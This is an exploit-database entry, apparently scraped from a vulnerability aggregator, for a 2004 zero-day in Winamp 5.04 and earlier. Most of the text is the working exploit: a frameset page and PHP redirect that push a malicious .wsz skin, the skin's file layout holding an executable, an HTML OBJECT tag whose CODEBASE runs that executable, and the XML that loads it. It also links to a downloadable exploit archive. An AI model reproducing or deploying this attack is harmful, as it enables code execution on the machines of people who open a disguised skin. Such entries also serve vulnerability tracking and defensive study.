Winamp <= 5.04 Skin File (.wsz) Remote Code Execution Exploit

🗓️ 25 Aug 2004 00:00:00Reported by RootType

Winamp versions up to 5.04 has a zero-day exploit for remote code execution; no patch available.


                                                This 0day exploit is known to be circulating in the wild

There is no patch for this vulnerability -&gt; Do not use Winamp !

http://www.milw0rm.com/sploits/skinhead.rar (171 Ko)


index.html
-----------
&lt;html&gt;
&lt;head&gt;
&lt;/head&gt;
&lt;frameset rows=&quot;*,1&quot; framespacing=&quot;0&quot; border=&quot;0&quot; frameborder=&quot;NO&quot;&gt;
&lt;frame src=&quot;load.php&quot; name=&quot;frame_content&quot; scrolling=&quot;auto&quot; noresize&gt;
&lt;/frameset&gt;
&lt;noframes&gt;
&lt;body&gt;
&lt;/body&gt;
&lt;/noframes&gt;
&lt;/html&gt;


Load.php
---------
&lt;?php
$httpref = $HTTP_REFERER;
header(&quot;Location: http://URL/foo.wsz&quot;);
?&gt; 


foo.wsz (foo.zip)
-----------------
/frame/
/maki/
/shade/
/html/
/html/file.exe (malicious file to execute)
/html/test.htm (html to load the .exe)
/player/
/player/Thumbs.db
/xml/
/xml/includes.xml
/xml/player-normal.xml
/xml/player.xml
/skin.xml


/html/test.htm
----------------
&lt;html&gt;
&lt;OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111123' CODEBASE='file.exe'&gt;
&lt;/html&gt;


/xml/includes.xml
-------------------
&lt;include file=&quot;player.xml&quot;/&gt;


/xml/player-normal.xml
-------------------------
&lt;layout&gt;
&lt;browser id=&quot;browser&quot; x=&quot;0&quot; y=&quot;0&quot; w=&quot;0&quot; h=&quot;0&quot; relatw=&quot;1&quot; relath=&quot;1&quot; url=&quot;file:///@SKINPATH@html/test.htm&quot; /&gt;
&lt;/layout&gt;


/xml/player.xml
-----------------
&lt;container id=&quot;main&quot; name=&quot;main&quot;&gt;
&lt;include file=&quot;player-normal.xml&quot;/&gt;
&lt;/container&gt;


/skin.xml
---------
&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; standalone=&quot;yes&quot;?&gt;

&lt;WinampAbstractionLayer version=&quot;1.1&quot;&gt;
&lt;skininfo&gt;
&lt;version&gt;1.0&lt;/version&gt;
&lt;name&gt;Batman&lt;/name&gt;
&lt;comment&gt;&lt;/comment&gt;
&lt;author&gt;Petrol Designs&lt;/author&gt;
&lt;email&gt;[email protected]&lt;/email&gt;
&lt;homepage&gt;http://www.petroldesigns.com&lt;/homepage&gt;
&lt;/skininfo&gt;

&lt;include file=&quot;xml/includes.xml&quot;/&gt;
&lt;!-- 
--&gt;
&lt;/WinampAbstractionLayer&gt;

// sebug.net

25 Aug 2004 00:00Current

7.1High risk

Vulners AI Score7.1

Winamp &lt;= 5.04 Skin File (.wsz) Remote Code Execution Exploit

Winamp <= 5.04 Skin File (.wsz) Remote Code Execution Exploit